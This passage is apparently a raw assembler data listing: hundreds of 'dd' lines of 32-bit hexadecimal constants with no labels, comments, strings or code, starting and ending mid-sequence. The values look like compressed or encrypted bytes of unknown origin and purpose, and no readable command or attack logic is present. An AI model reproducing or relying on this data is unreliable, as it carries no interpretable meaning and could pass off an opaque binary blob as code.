6682005h, 2138F00h, 0B97A5549h, 60CB0023h dd 0F1A12274h, 6607A44Bh dd 3375C039h, 0A4015D65h, 3455436Eh, 30C5C8h, 74BEB7F3h dd 6D587FDCh, 0E1E20F00h, 62774F56h, 0B12F0037h, 0B760DB59h dd 303ED40h, 456DF97Ch, 2AA0DF24h, 9CACD8h, 3E5BCC4Bh dd 36FBD20Fh, 81C47A00h, 0B79F2A50h, 0B3AC008Eh, 455C8A6Bh dd 63007B61h, 99E00F21h, 0D8F8ABh, 6B550E42h, 338EFD30h dd 0E2DDEB00h, 53892056h, 7447245h, 0EF82198Dh, 47CA4172h dd 5452E0DCh, 0A92A500h, 0F0980D46h, 25640044h, 35BA8279h dd 0D5FE61DBh, 6741A407h, 0E0C00C17h, 7562CBFDh, 4C690073h dd 798AB005h, 192663F9h, 82003C97h, 8BFC68FBh, 4809C1CAh dd 0D381E26Dh, 67F0A4E6h, 16269F98h, 1E8ED020h, 1F0E8755h dd 21031490h, 4CB1EE54h, 0F0070CD3h, 6060C04Fh, 67171D25h dd 8A78D0A8h, 2A8EA50Fh, 87D3C10Ah, 0C0F48209h, 364D001Dh dd 4280226Ch, 8F7A1EC8h, 67B38107h, 0CE237223h, 58DAD826h dd 0A804001Ch, 0E0DBF271h, 89007017h, 863E4C1h, 66AFD77h dd 90560AFFh, 220011E6h, 0ABFBAAD5h, 0EA6D6201h, 72A514F8h dd 0C900AC8Eh, 49320D44h, 8700A120h, 0B2900694h, 1D13C1B0h dd 87096AFCh, 0F0F65DBCh, 79AE0F6Bh, 2CC2590Eh, 4277E0D0h dd 0A83EF2h, 6C1CDF4Fh, 0EF5F9857h, 0CA617900h, 0B111DBEh dd 9C1807F3h, 0D148F419h, 0F081CDE6h, 0BE001A50h, 348BA8ADh dd 37FACA2h, 0B0AE5687h, 9CE0DF48h, 301DECBFh, 80BDD65Dh dd 4DB88609h, 674FEDB1h, 0DFDBD8A1h, 0C64B03C0h, 4524041Dh dd 0B3EA420h, 80CA4E19h, 0E7F642F3h, 0F0401F0Bh, 0CB41C7EDh dd 75188CE8h, 0F48AC100h, 0E787FF64h, 96EC61h, 89F966F2h dd 0E60B60E2h, 0FC08E09h, 7FAC8104h, 5430E395h, 8BD269Fh dd 0BD18090h, 79F2D391h, 6BBCFB00h, 0ED2DA73Bh, 4AEE00F8h dd 46699603h, 0F000EFE5h, 41BA2A1Eh, 1C5E178Ch, 87AEA41Ch dd 90A53A26h, 2CDD2053h, 94486063h, 0CB01BFDAh, 0DC20F18Dh dd 610B001Eh, 0C8484E43h, 40484FB8h, 0C09C8E94h, 0E06B947Fh dd 0DFD3266Ah, 41D800E3h, 7422ECB5h, 7E27BF1Fh, 458A20B0h dd 327200B7h, 569CA23Fh, 1B00D167h, 5F168F0h, 0AA5A4Fh dd 7D1ECFC8h, 17ED542Eh, 8300067Eh, 70E87416h, 0E923558h dd 0FDE9CE96h, 0C034A244h, 0EED32E70h, 0DA24B900h, 95EA967Dh dd 604C0E9Ah, 22A0E8FFh, 7FB29F01h, 4C9D61Dh, 0F844840h dd 3CB31945h, 4100715Eh, 4D4C4ED8h, 8A035995h, 0FD38F89Ch dd 5DB0E7D1h, 74CB42h, 30FF31F3h, 0D4496FACh, 525B7E00h dd 11685796h, 569B00CAh, 3FEE9245h, 0AA1DE648h, 0D9800F8Bh dd 2DE1844Fh, 17433B34h, 59FDA780h, 0B90BEDFEh, 0B8738601h dd 0CA50E6B3h, 0D030F2EDh, 95F400ABh, 6A029A85h, 0E679883h dd 7EC00109h, 70680CABh, 20883E85h, 75179Dh, 257CE305h dd 7B00ED74h, 6F100822h, 71BB76h, 57FDECBCh, 0F79D24F4h dd 8FB8C950h, 0FA93FF1Dh, 75DB38C0h, 0CCB962h, 0D0F31D52h dd 1E8CB682h, 18460F2Eh, 5BECC901h, 38304AA0h, 261203E7h dd 382AFB09h, 6463FDF9h, 0D813EB0Ch, 8000910Eh, 6AB435DEh dd 0C4161327h, 7848000Fh, 0A3C9F10Ch, 85BD4D3Dh, 42ABA60Bh dd 715DDCC0h, 0B03E0082h, 40E1E692h, 78002B5Ch, 0F70AADEAh dd 166B4DBDh, 40AE4F39h, 2981B8C8h, 0FC00F217h, 24F76559h dd 0EAC088D3h, 0CA55001Ah, 40080A99h, 0D70052A9h, 0A5F95DB1h dd 6DB37h, 0E7EAC06Bh, 5E69A4CBh, 0F7909700h, 58CF4087h dd 0A59F0068h, 77C02F1Fh, 0C200A96Ch, 84815DECh, 2E9673DEh dd 802CF0F4h, 2547BFEAh, 4114A017h, 41D1Fh, 142C5CA5h dd 292153A6h, 5E0E685h, 106EF59Ah, 796F4E8h, 70A57FEFh dd 0CF354BC2h, 9500877Eh, 987EA209h, 3DB57FAh, 16A6385h dd 5AE9B347h, 2BA812Dh, 0C64215Dh, 21094F4h, 82C00777h dd 186BFB3Ch, 0DE3331A8h, 0C2E6F100h, 0E0616F7Dh, 679002FCh dd 92DAE8EDh, 91B02A40h, 0FC7BC024h, 0A72E8502h, 0FC14E016h dd 84DD0069h, 0F9286BA9h, 6100E3E4h, 67E1EF79h, 6881F6Dh dd 157C9C14h, 710B42C2h, 0A0322D20h, 0D9E5B018h, 138984Ch dd 0D86250C5h, 0EC9156DFh, 0BAF151DEh, 22698118h, 1F40CB6Ch dd 5DC9C4h, 42CFEA2Eh, 5CC81A21h, 0A9EBFE04h, 98C00687h dd 0E34B2DC7h, 0D730EC72h, 4E02CCF1h, 0DB9F5D00h, 0CA9353C4h dd 3E2900B6h, 241CB291h, 510009CBh, 80942765h, 0CF5750h dd 0B1AE6705h, 92C697C9h, 7AA8DE59h, 0DF07580Eh, 0BE6460F6h dd 2E846D71h, 577943h, 6306FFF7h, 0F406C0C4h, 3CB0BD0Ch dd 0DC700F8h, 19C65662h, 0CA005966h, 0D05C6417h, 5F5D16h dd 5A5EEFD3h, 0E0A6AC60h, 0A3DB5000h, 9A085593h, 5CDFAE6h dd 0F75C969Dh, 2E806E2h, 8B00F80Dh, 1B43E791h, 0D0E338h dd 6CF229Dh, 0E9FA6A97h, 69F09A03h, 0D0FE9CEAh, 18DFDh dd 3A618C89h, 0F6BA5CC0h, 9A608402h, 4010AAC4h, 0F6A91EECh dd 0C0FC90F5h, 49737510h, 880FDE60h, 6BD3F9D4h, 81480F8Bh dd 1ACC4E9Dh, 0C0170BE8h, 16615731h, 0E9042BB9h, 56AD133Ah dd 0DF3B0CD0h, 0AE6F4012h, 77006890h, 8788D8Eh, 7E1F429h dd 282F4B47h, 98C01F75h, 3E560C4h, 4DE81E00h, 0C990D15Dh dd 0EF460591h, 80F9EDA5h, 0CA72637Ch, 0D004E8EAh, 3BA8D705h dd 996F9C81h, 394BCDFCh, 0D3005FEDh, 396D80AEh, 924C32CEh dd 723988h, 6AEF58C3h, 94EE516h, 182FED0Eh, 1AC91580h dd 0DF4C8A81h, 0A7440020h, 0AD936C66h, 45970798h, 0A005AA57h dd 63DA0E41h, 7ADB5D00h, 0A58475E7h, 2C1A0316h, 46EB3A6Eh dd 0D2319FA0h, 1C1E5CC0h, 9CC48h, 86806F39h, 33444A45h dd 0CBB3DD0Eh, 659B43E4h, 0A15298FCh, 3D3BF403h, 0BD808C0Bh dd 0C7F675A5h, 25796AC6h, 5C51B00h, 0F4074615h, 0D924075Eh dd 50BCFE43h, 5B2EA68Bh, 3C341D00h, 0C867F4F7h, 2D750A6Fh dd 0CC3DE1h, 6DB27D77h, 0B6038976h, 0B4477CE9h, 2D458063h dd 5E0500EAh, 7D91112Eh, 8100DDF6h, 86CCF394h, 0AA6A99h dd 0DA6D9E83h, 5732808Dh, 8D36B12h, 611B5007h, 98DB8A40h dd 0BF132ED0h, 0DEBE0051h, 0F8D79438h, 80A2CE3Fh, 6AEC93D8h dd 4183C8h, 536FF475h, 0DCACF37Ch, 0D5122A01h, 0F7B0406Ch dd 0D067ECh, 66738F61h, 68E0FEF5h, 6F1D577Ah, 569FE113h dd 4CFCF702h, 1785869h, 41CA0234h, 0D0D5FFCCh, 0F14B4F4h dd 803808h, 0A8660E29h, 6C70ECh, 4948DAF1h, 0E5FBF75Bh dd 2CB26400h, 727B6AC4h, 0B9CE026Eh, 5AF32A54h, 0BA4C2870h dd 0A5EB01ECh, 0A4112B5Dh, 40A90981h, 60A21020h, 0EA00810Ch dd 8994089Fh, 1D92F19Eh, 8016878Ah, 9A06848Fh, 5E06D993h dd 0CF485D7Fh, 0FCC9131Ch, 6FFC44A7h, 0E75C8232h, 5C80D0E2h dd 4BD2F8ECh, 0CD265900h, 8E9B46D8h, 19081821h, 1CAF7982h dd 73140917h, 8C91310Ah, 8C22E726h, 0BAD8DE0Ch, 32C1C855h dd 6C19C5F5h, 7006071h, 0A460DB5Ah, 202A004Dh, 783B1217h dd 8E02F8A1h, 0F4340476h, 0BBABE0E6h, 16BC9849h, 42BEF2FCh dd 0D46089Ch, 74669868h, 20385A01h, 894D7EACh, 0C053B420h dd 0A7DECA80h, 0C00AF045h, 4F63FA1h, 4BBCC500h, 60B3C6F1h dd 0EC0A3840h, 0F90F66C8h, 5FF5D5h, 0FF624AE2h, 60CE02D2h dd 312E8A04h, 0F6C3A4AFh, 57E2E7A9h, 729EA163h, 4C631C3Ch dd 0DC330064h, 8A826B5Ch, 80F500F9h, 6C1AD44Ah, 0EC00682Ah dd 0CFE64E74h, 3F1F6B18h dd 0C5803F65h, 95ACB823h, 0AF2D97E4h, 0A1842060h, 0C92F4h dd 0B74C74E0h, 0FD12F605h, 3C94ACA3h, 1DF3EA3h, 95B32980h dd 6FAEDD6Ch, 0A1004973h, 0D4D0E00Bh, 606A4804h, 65152C36h dd 56007FC9h, 5AA8E83Fh, 0C6EB29h, 9BF1A451h, 9510896Dh dd 6AE58F13h, 3B81B81Ch, 833FA0ACh, 0AA890980h, 0B58C45A6h dd 811DD598h, 0DA81A8B4h, 79C6776Dh, 0BDEE20h, 0B84D737Ah dd 0BA61747Fh, 281F6518h, 9C04572h, 0A71E160h, 0B20028ECh dd 0CC281ECh, 286A4A56h, 1C0E8FFh, 3B284158h, 0C2D3DAA8h dd 12688080h, 9B00AE46h, 9FA2C04Dh, 1CD1ABA0h, 0AC87A816h dd 731380F0h, 0CA4628DAh, 51009B73h, 0E1A4F812h, 0E09DE609h dd 57FC0061h, 9E1A6240h, 0E000A293h, 0DDC7BD8Eh, 1D1B66A0h dd 0C05A0BAEh, 4ECC125Fh, 5300B4DAh, 57BEE049h, 75C4A32h dd 4321843Dh, 8026A5C5h, 16FF4674h, 0B6B06C1Dh, 0CB4C5A80h dd 1434138Dh, 0ECF806A7h, 301BB300h, 322AA2ADh, 0B6A0AB18h dd 383D2909h, 20E0B3A6h, 43C8E028h, 0CF023E73h, 0CCD44B5Eh dd 1CD94Dh, 98641ECAh, 50B0E604h, 46CC4C13h, 93D25002h dd 348240AFh, 4877F61h, 280C2B5Fh, 0E3C4C2FCh, 0DAFB6240h dd 0ED1F1CEAh, 0EEC68287h, 1E117014h, 80553A62h, 0F61D76F9h dd 0F8924DE7h, 59126743h, 6A6800A5h, 85111D18h, 0A7CE1600h dd 6CFADCF3h, 5C9BE86Dh, 780F3361h, 0A3E033BFh, 0C81FA49Ch dd 1287EC00h, 0A853A58Ah, 0F6180CE0h, 0B769C097h, 33BEC400h dd 63F18860h, 54E01Fh, 5EFB93E5h, 44F585EBh, 89B7E93Dh dd 74A1B6Eh, 5857CBD0h, 5A01D410h, 0AA9D02ACh, 0F46F5E12h dd 147CE0D0h, 60008FF0h, 0B53F5424h, 53B095h, 5844460Eh dd 14C86C4h, 0BA142D00h, 211B9E71h, 0C8D4009Dh, 0D665D85h dd 63055247h, 175CD6CFh, 76CBC888h, 0EB730B74h, 8077F037h dd 0DF6E810Ch, 23C74ACh, 70D7C589h, 0B4406811h, 0E4EEF37Ah dd 6F43831Ah, 2A686008h, 3A407C79h, 186086E5h, 4A2813F1h dd 26BD0200h, 27B6012Dh, 8B0B3E38h, 0B9062C00h, 48A625DBh dd 76B44748h, 0C5052D02h, 48243107h, 92D26804h, 244E76ACh dd 81C01B25h, 8085925Ch, 14882888h, 3942AE5h, 0A9CA3B3Eh dd 58110084h, 472E554Ch, 37005649h, 0F6FD28C2h, 2483EC3h dd 8A3964F7h, 58D0A1A0h, 0F996F512h, 0FC403C1Ch, 4F50AA2Eh dd 0C1A92FB6h, 12FDB404h, 1E8E5490h, 0B1890186h, 0D785A356h dd 47A080F9h, 188C5839h, 632A0C8Dh, 131804DAh, 0BE454F00h dd 0D44D6470h, 5F521D8Ah, 3CFE80C4h, 0B6A3A5B1h, 842EB690h dd 7300B02Fh, 0E4C23506h, 0F6BF24FCh, 402D1D74h, 0DC3E882Bh dd 0D00F0611h, 4064DDB1h, 70C56A82h, 0B6E600B3h, 0A9621BDFh dd 6600928Dh, 2FB80CF6h, 3E2971BFh, 63012C60h, 0EEFB2E65h dd 4097D778h, 0DD8A6477h, 57DFB226h, 0BC7FBA02h, 0D324E03Ah dd 42560501h, 814AE5DAh, 0C448F3AFh, 491EE2E4h, 403EDF43h dd 0FC9200D9h, 6F8FF75Ch, 9E00CC59h, 91F15EFAh, 4C3586Ah dd 363886EEh, 7780C00Bh, 8B5EFB9Dh, 0F698B430h, 0D366000Fh dd 0D550AB96h, 432E8499h, 0CF070874h, 0FAB04761h, 2F2FE3Dh dd 5F46309Bh, 4F88D6Ah, 0E53B1102h, 0D0546253h, 0AE250430h dd 0B008B898h, 641F5B78h, 9740BB15h, 683F7738h, 3D903C9h dd 0B41472A6h, 20E15B89h, 7A1CE668h, 68B0BE2Bh, 0F04CF769h dd 90FD2E26h, 0DFD10049h, 0E7A6CD3Fh, 9CAF9912h, 0EA2E2AE8h dd 0B1F700FEh, 2C5CB316h, 0FE8DAC01h, 60E96D8Ch, 7DD8C3C8h dd 0DE2A001Fh, 9B5753E0h, 0B800FF19h, 6FF7638Ch, 3BD222h dd 0EF91859Dh, 0FF9683A6h, 92CFE300h, 0EBAC8075h, 7B1C091Bh dd 54206D15h, 72DE4219h, 16006778h, 0EBD32D33h, 1F216B4Fh dd 0CEC6C7AAh, 71A4F7CFh, 6374E053h, 6D80140Ch, 26104C6Ah dd 3D50F7Eh, 35A14B03h, 0B6AA20B8h, 3C691800h, 44571EA5h dd 0FF2601ADh, 0B82EC1A7h, 8C3CB7h, 3EBEEFF9h, 38729A7Ch dd 70249296h, 121D1E24h, 0CC490C5Eh, 5D006211h, 4CABADAAh dd 758A63EEh, 0D9A60032h, 1498BDB9h, 3D3C646Fh, 152193h dd 0F6A623C6h, 0FE71D30Ah, 0EF7625h, 5E56DD88h, 21151C13h dd 917280F9h, 39595277h, 2087DB81h, 0C518DED8h, 0D30C0028h dd 6BEBFEF8h, 0F00FA6FEh, 80054E9Ah, 0ABC247EFh, 0FC5D0060h dd 1A4B996Fh, 900FFAE9h, 4640F2h, 0F0C9F8FEh, 0D7AB0050h dd 0D937F743h, 9A01A701h, 3C445F9Dh, 0EDCCE68Ah, 8623004Ch dd 0A849720Dh, 0BE0FDF13h, 0C04D4738h, 0E97752EFh, 2EAA003Bh dd 0C1FD94F5h, 500FED9h, 0E79D9736h, 8BBD88h, 68E870E0h dd 80615E19h, 0F4776303h, 98DCA89Eh, 0AE119Dh, 727431ADh dd 43CEAA3Fh, 0C1691E00h, 27402CF5h, 447AE0h, 0AE317BB5h dd 0FD3DBB86h, 0CD6A6802h, 0F5EFC3FCh, 14E1C1E0h, 581231F4h dd 3040783Ah, 0FAD474F9h, 0DDFE00FCh, 700A8BA5h, 0EF53F43Ch dd 7FAD0CB4h, 1BC180Bh, 644F2114h, 42990694h, 0D058B6D4h dd 169E4E00h, 757ED515h, 50DD3005h, 7BF22C28h, 6B047108h dd 3D5830FCh, 6500CDE9h, 0CB4A5883h, 3546FA4h, 6C5570FCh dd 29006A12h, 0A3FE318Eh, 0EA5EC210h, 5D1A3C15h, 0D12187B1h dd 0FCAEEC2Ah, 45857D03h, 0E060F866h, 0C02C8D04h, 0A8393C80h dd 0D1DC53FDh, 0C2BD9740h, 6D5E96DEh, 0D608B06Ah, 0C8139069h dd 8200A8BDh, 0FF6BE6B6h, 8FBA93h, 7719A638h, 28EB4A55h dd 17B080EBh, 50E0796h, 3D13005Bh, 5F1C5ACCh, 4F3A08EAh dd 95880312h, 0A84A1AB3h, 0C03E6Bh, 0C231DC62h, 0C16C9220h dd 52D72401h, 5CD34883h, 2F535F1h, 9E2D8h, 4F457016h, 312FFA38h dd 52AE561Eh, 12622280h, 0F9B2C50h, 74EEAFE4h, 87016580h dd 4E1D7BE6h, 3EC0C08Ah, 0BB915EA7h, 9269064Fh, 30F6797Dh dd 0DFC4FF00h, 0BA45F8D0h, 0FE9A3046h, 179BA949h, 1500FD77h dd 0EA8DD4C7h, 6320E38Ch, 0DB7DCCEDh, 3E05280Eh, 2910808Eh dd 71FE23h, 0C7F3B76Dh, 124C752Bh, 0AC99B002h, 4014210Bh dd 601D5A7Eh, 7B2E8073h, 5C016189h, 7D1B6964h, 0F3D57442h dd 9D24F8E7h, 18D7090h, 5175790Ch, 0C0227AB9h, 1F02082Dh dd 0C8F3B365h, 0BE060EEh, 0FDC70179h, 0C9A3805h, 0F47080E6h dd 858606DEh, 0F23A7129h, 0B619C405h, 90305801h, 0B2C78813h dd 0BCF6D8C1h, 0F60D791h, 0B3F31C6Ch, 1003FE3h, 11A1F5C0h dd 4AD292Bh, 0A8C20876h, 0D05FA59Ah, 0FB01E9B9h, 0EE86F2BFh dd 0F5C0F085h, 4DAC00C1h, 46AFD8C0h, 0F81E75BBh, 0ED03FB8Ch dd 0A0CBBAC5h, 0F4BFF3C4h, 0B9F8FDh, 0BDEF49F8h, 0C2BAFAF1h dd 0F739FC1Dh, 0EE88EB47h, 9A87C19Eh, 90F7F471h, 7CE2A06Bh dd 0A9F203FBh, 8BFA6CC5h, 8E1C77C3h, 0E800D8CEh, 6651A5FFh dd 71CC3A4Bh, 0B8C237h, 0AEA62EB0h, 0F86A7300h, 8CBD65B3h dd 0A7BE019Dh, 43F6E66Fh, 34C1C085h, 41DE29C8h, 2BF504Bh dd 2DD410F2h, 89EE9288h, 444E08E3h, 2A44EAF7h, 3E28A0C6h dd 89A8951h, 0EA2C455Ah, 88478E10h, 7889F1B6h, 0A84E27CEh dd 88480888h, 0E788F282h, 1442947Bh, 0F1C22818h, 7188F35Eh dd 0F0F68888h, 8945DC88h, 9E14416Ah, 820A1280h, 25C4B428h dd 193C13C6h, 80FE29B8h, 0C474CA51h, 0E54662h, 0AC677BDEh dd 0F6589629h, 0C6A44400h, 2CFC5C64h, 84A00B3h, 30E1E9EDh dd 860ED44Ch, 0A03B7355h, 101ADF8Eh, 43841FA9h, 408C9E0Dh dd 7CD89805h dd 1701D5F8h, 90CEFAB9h, 8D707F44h, 0D18801DEh, 0A44D1BAAh dd 9260FC26h, 4B8C7C00h, 0EB7DE095h, 985CE8A5h, 500E00F4h dd 2B6F7EB9h, 19009C69h, 3DBFCF8Dh, 721EC415h, 9E3C0E1Dh dd 16808498h, 31625FF9h, 0AB9A700h, 1BD24CE1h, 0CD480079h dd 0A12FA65Ch, 780496A5h, 8F224A16h, 0D05EA093h, 5F7F53h dd 8AC05960h, 3E65B202h, 0D2A81C60h, 2533B8h, 0AE052CD0h dd 0B2214096h, 0CCE7F00h, 0B4E3DB9Bh, 9F2F007Dh, 0BDC3A5E8h dd 880027D9h, 1AA9AD49h, 1AECF6Eh, 1F0B268Ah, 20A2414Bh dd 0DC0EBEDCh, 0E07B09E1h, 0A92608D8h, 6DCF3DFAh, 0C99F5FBDh dd 1D0A80C8h, 5A4361F7h, 8E673500h, 0F4204082h, 62EF00A5h dd 3692E7ACh, 1015415h, 7B3891D8h, 0F9E85CDFh, 0C9C818E3h dd 0D91BD867h, 0B824F400h, 0B7DDFCA1h, 947E0119h, 0F05CA95Fh dd 2ED0FC8Bh, 806D223Bh, 0D762674Ch, 0EFAFBFh, 104B253h dd 83AE4790h, 0CB493300h, 0E69A88E1h, 92D80068h, 6DBE80CEh dd 7602C087h, 0BB4E2607h, 0A4B4802Dh, 2A79FEh, 44A765F4h dd 16903C0Dh, 0F8942E0Fh, 0E06A20B0h, 394556h, 81038D67h dd 0E4272F4Fh, 7F22B900h, 995B9FCBh, 7FE172ADh, 0D96D1C7Ch dd 632BC0A5h, 72B54BEBh, 85290600h, 76CEB858h, 283A01DBh dd 1F39389Bh, 71C3FCE6h, 316D04C0h, 0F080CB99h, 72A800E7h dd 0B44B2DE2h, 0D207EEF4h, 0EDEC326Dh, 0EAF6018Bh, 0D05062A5h dd 1D49D8Ah, 0F548441Dh, 708F4D23h, 0B9EA9697h, 0BAC98300h dd 6BCA546Dh, 531A242Eh, 95C78034h, 656EA03Eh, 926AFA1Eh dd 79C1C00h, 0EC897993h, 9150000Ah, 29FF81AEh, 96003419h dd 0EFA63EC2h, 4705D9h, 0AD5FED24h, 2EDC6A9Fh, 6583B301h dd 0FB50B1FFh, 0E796C8h, 759DA6F9h, 946134DFh, 0BEBC4200h dd 0F4890809h, 0AD530079h, 0E6A80736h, 0A37A8274h, 204AE500h dd 1E401460h, 9FE4A0h, 9771C298h, 64D17876h, 0ADE1100h dd 8DECDB92h, 0F046601Ah, 0E5F3B24Ch, 8FF8AC00h, 0C9F6A3BFh dd 0F9CC0F03h, 51A01C4Eh, 54085B7h, 3F84B501h, 8D9CE3FAh dd 1CB90460h, 40885734h, 1E2D295Fh, 2003DA74h, 82D8A970h dd 0B3ACB809h, 396E0E7Fh, 37E0CD91h, 0E2C818CEh, 19AA3E03h dd 0B0550DBDh, 7B5103h, 0F48A3D76h, 0F9A40BFDh, 8BEA7800h dd 45A2DFA6h, 0A01B00CFh, 7B3EE472h, 6B5038A1h, 0AB013DC4h dd 21F45529h, 4DD4E548h, 46E0074h, 3DA7AAF1h, 1600C4DAh dd 0DB31AC8h, 78EC49h, 0E8AFDCC5h, 8E8D9448h, 0BC006576h dd 0AA01B9A4h, 60B66B50h, 98DD10BFh, 0D3096CC8h, 810395B2h dd 0A90C4704h, 27DCA007h, 3500565Ch, 2AB75AF6h, 311AC74h dd 0E3B9B38h, 68001CDCh, 417AA631h, 989DEDh, 116CA1E1h dd 8ED1FEECh, 990D5800h, 3D2DC3D4h, 64EE03A3h, 0A8F22640h dd 6CE61380h, 0E441B600h, 0D4447C88h, 11AE00A4h, 1E14EEDCh dd 870E8B20h, 60DE6C90h, 0C2627049h, 4C2200D5h, 0B02F5B7Bh dd 157333C5h, 0EA681F00h, 0F032E9D8h, 8046128Dh, 0DA740060h dd 0D612B544h, 2C4F1703h, 0D0D95BB7h, 33A668h, 0CA8A5693h dd 7B833CABh, 0B8FDD800h, 245C2150h, 432503EEh, 2F5E03CBh dd 54994188h, 0D3807301h, 483DEF8Ch, 0C0E6E021h, 0C9970Bh dd 36E7A43Ah, 0FE35955Eh, 5DF6810Eh, 0D58BBD9Ah, 404D0F20h dd 24CCCD68h, 0D6BE16F3h, 0E834006Dh, 97B2AABh, 83388D00h dd 8E79EFCh, 1E8A0054h, 272B682Ch, 8C004B0Ah, 81D00EF4h dd 2E13E9h, 0D7FB7F12h, 0CA314738h, 113A0C00h, 0D4600F06h dd 0FD89EA8Ah, 7E032D30h, 0C7220078h, 75F19F2Bh, 1D3C125Bh dd 882E00B2h, 0CEEBCDD9h, 25877FEh, 7C130435h, 0E88FFF54h dd 7AB867h, 2F9EBA14h, 19A6F800h, 0CB9DDFAEh, 0B73200BCh dd 0A5B5E711h, 660067E9h, 0E277EF4Ah, 1C09FBACh, 0DCF1A653h dd 3F2DC09Bh, 48DFAFAEh, 5B6C2802h, 409A9C90h, 5AF240h dd 9FE012BEh, 0F54563D5h, 664CEE00h, 4E8406ECh, 725D2401h dd 0AB8A0051h, 8A59318h, 0FE288000h, 1941E365h, 5D910033h dd 68A6834Eh, 4700DD72h, 0F99A7D1Eh, 7A3781B9h, 3E260125h dd 0AF0392CCh, 0BDA3CC7Bh, 9817EA09h, 0C094802Eh, 8DA5AAh dd 0D84AF9D6h, 73BC58F0h, 242F3900h, 427E520Ch, 0ED6000A3h dd 351FC113h, 2B00047Bh, 82D6A290h, 13F93C7h, 0A9DDB195h dd 61719B48h, 6E67CC14h, 0B755EA03h, 0E9E86CE5h, 57718D63h dd 51F160h, 8149A021h, 9A92E3BFh, 8B6BE901h, 9D6AA54Eh dd 7A6C020h, 9627153h, 232F50F7h, 2A0283CBh, 0A7DBA585h dd 77B4C069h, 894A003Dh, 5A0BF280h, 8B381A37h, 0B5B9871Ch dd 9F309B16h, 0C43BB54h, 0B0BCBD1Eh, 0F60014A8h, 1A57710Ah dd 28BBEDE1h, 0F2E42AA0h, 237F00FBh, 0FC588C1Fh, 9A002BC6h dd 0AF612FEAh, 144C8B45h, 0CFEF0546h, 21490A00h, 0D3E2808h dd 748C6A00h, 781A46B9h, 0EB350029h, 8754623Fh, 4A1D0AE9h dd 43402036h, 9D326EC1h, 0D38407D7h, 205B2582h, 61738CE1h dd 19C48B24h, 6080A51Ch, 0B587AA96h, 2D5B39ADh, 0E44C68Bh dd 769CCC80h, 890034FAh, 0C3A1AF7Ah, 5BDEC3Fh, 0D4FFA7B0h dd 4BEC40FDh, 7B2576B9h, 73104E12h, 54361803h, 58888152h dd 1A42C447h, 0BE80C03Bh, 6EF402A0h, 5B062983h, 164CB481h dd 0B28802Ah, 8B6708DAh, 84B302C1h, 6BFBC0BDh, 89C27048h dd 0ABE22C00h, 97B3472Eh, 1CA00042h, 13B77CF6h, 0CD7A525Eh dd 3AC82200h, 5683259Ah, 58D00098h, 0EA35D56Dh, 21012387h dd 3653FC8Fh, 4E0076F2h, 3C00AAECh, 3F5C7930h, 0F8DB4DD6h dd 769539DCh, 20CCE9BCh, 0B062E704h, 0A90C15Ch, 867C20AAh dd 0BD1F2500h, 0D66AECA7h, 85360098h, 9C2106E3h, 0F5006B3Ah dd 292D478Bh, 8CA21Ah, 0B396C614h, 1FCF137Dh, 0E84F5F02h dd 638305C4h, 0D74DC990h, 0D2C0C028h, 0E0AE728Fh, 8137353Eh dd 4885DF07h, 34EC464Dh, 0D5DB00F2h, 0DEBF67F9h, 5F00A32Eh dd 62B68540h, 1F5B93DAh, 0EA462260h, 0ECE600A4h, 0A44D16B3h dd 0A6041A6Ah, 0E9290A6Bh, 439B9C90h, 0A74A68h, 53B8BBA4h dd 25072BA3h, 0F0CDE4F1h, 9BC21D00h, 6650C489h, 0B3C88CEBh dd 0BC71580Bh, 52B880A7h, 0E0D73Bh, 8BB95064h, 0CFF22B59h dd 38D54100h, 45764B02h, 961900A4h, 71B33CF5h, 0C0002ABDh dd 0CEB561F8h, 3B674Ah, 0C5E86612h, 0EEA478AFh, 3F7470C0h dd 0EC79DAA5h, 0E8620020h, 2511256h, 8F7F3C13h, 86DE5E00h dd 48FBE0B3h, 7958000Bh, 0F8B08DB5h, 855CA12Eh, 685B01FCh dd 14A8844Fh, 0C838D7C5h, 1E394700h, 2F701556h, 0A000AC94h dd 0F44F3D8h, 0D14C006Eh, 4E48CD77h, 4A00CC25h, 8A6842B9h dd 0EEA7E6D5h, 0D9EA0070h, 9A40E9ADh, 0F81E7DD1h, 1BC0A65Ah dd 3A76BCE3h, 8C6009Dh, 0FF656FDCh, 901E90Eh, 1CF8E8F6h dd 48800AA0h, 0D7D2AF72h, 0B07EA7Fh, 50DB8B12h, 901C48D0h dd 0DA0A00CFh, 0C0EE7BF6h, 2248099h, 3C80A821h, 4928AB0Eh dd 3F9500BDh, 0DBF188A1h, 0AA009331h, 0E563F28Dh, 0BFEF38h dd 73B77F9Dh, 8C5AFC44h, 51AD0400h, 0A36B9591h, 2F5E5812h dd 0EB691A00h, 40A764FAh, 56CC200h, 22D41076h, 0B3853A6Dh dd 0F9EAE80h, 7560044Eh, 0E3035A7Ah, 0B5F52D26h, 884FFB40h dd 0A31116h, 2A22AC01h, 3D661F69h, 80DF0E3Ch, 9A0B780h dd 1328A66Dh, 0C0A3C516h, 76D8EC94h, 4D8C461Ch, 7BA03B00h dd 1CDD05CFh, 4011A26Ch dd 0DA8EB361h, 5007A5BBh, 6FEE9A42h, 5BDD2D90h, 0EAC90A30h dd 908237h, 52B10B10h, 78003B98h, 5E51DD96h, 0C015A6C7h dd 0D018C371h, 0F52C179Ch, 4080142Eh, 65D99907h, 0B07690C8h dd 18A2002Ch, 522AF117h, 810088FEh, 84D5BAA3h, 7CFA6Dh dd 0FB83F969h, 3D480726h, 5A989E00h, 0D5715059h, 2A6B008Fh dd 2479B861h, 0D492E316h, 26CF5600h, 0FDF6C985h, 3017FEFh dd 8FB94843h, 0C1A80686h, 8E1D1F2Ch, 0F80F4FAh, 22CD976Fh dd 0ADD30035h, 0B09DD7EFh, 0D464CBD8h, 0D490E910h, 0F5972Ch dd 99A9824h, 38519080h, 0CE66EE03h, 0A669E69Fh, 0F990530h dd 499DF48Fh, 6B869788h, 38E8A0A7h, 5C956C00h, 1815EFAFh dd 0C9C403A4h, 885EEC6Bh, 0FD48DC88h, 8979D43Dh, 805C2A89h dd 0A9013828h, 95DD1EB8h, 0C2564ED7h, 86527AC0h, 0C4012951h dd 0A5F8E2CCh, 0AC70F5EFh, 0F1FA54h, 0DAFA280Ah, 586BAF2Fh dd 60104Ch, 907EE2C8h, 78189D71h, 0E943198Ah, 30ABB091h dd 0A70072BAh, 18504822h, 0AC0C5Ah, 17D19314h, 4E92A24Ah dd 0A8A1871Ch, 0C3BB0D80h, 1F73CB9Bh, 0C9317133h, 8AFBC08h dd 55153A40h, 0B330751Ch, 56B4A0F7h, 38B99Eh, 63B93E6h dd 34EFEE25h, 29013DB0h, 4EC98976h, 352003C8h, 0A9910098h dd 80A4CB67h, 